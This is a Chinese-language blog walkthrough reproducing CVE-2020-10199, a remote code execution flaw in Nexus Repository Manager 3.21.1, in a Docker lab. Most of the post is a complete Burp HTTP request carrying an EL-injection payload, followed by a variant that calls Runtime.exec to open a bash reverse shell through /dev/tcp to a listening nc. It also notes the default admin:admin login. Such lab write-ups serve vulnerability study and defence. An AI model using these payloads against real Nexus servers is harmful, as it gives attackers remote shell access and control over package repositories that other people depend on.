Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199)
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞。
参考链接:
- https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10199/README.md
- https://github.com/jas502n/CVE-2020-10199
漏洞环境
执行如下命令启动Nexus Repository Manager 3.21.1:
docker-compose up -d
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175457452-778670191.png)
等待一段时间环境才能成功启动,访问http://your-ip:8081
即可看到Web页面。
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175457447-2105479671.png)
该漏洞需要至少普通用户身份,所以我们需要使用账号密码admin:admin
登录后台。
漏洞复现
登录后使用F12找到Cookie复制当前的CSRF-TOKEN
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175457445-776024675.png)
使用Burp进行抓包,替换以下数据包,然后把自己的Cookie和CSRF-TOKEN粘贴上去,然后发包即可看到执行了9*9
点击查看代码
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 172.16.1.147:8081
Content-Length: 171
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
NX-ANTI-CSRF-TOKEN: 0.3009613092801201
Content-Type: application/json
Accept: */*
Origin: http://172.16.1.147:8081
Referer: http://172.16.1.147:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.3009613092801201; NXSESSIONID=076bf11d-d0c2-4b01-bed2-f9cb360dfa3b
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{9*9}"]
}
}
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175457450-1967015365.png)
执行反弹Shell把执行写入文件的Payload修改成反弹shell的命令,使用nc进行监听,点击发送查看nc的监听看到返回了shell
"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/ip/port<&1')}"
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175457449-1401851455.png)
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16281828.html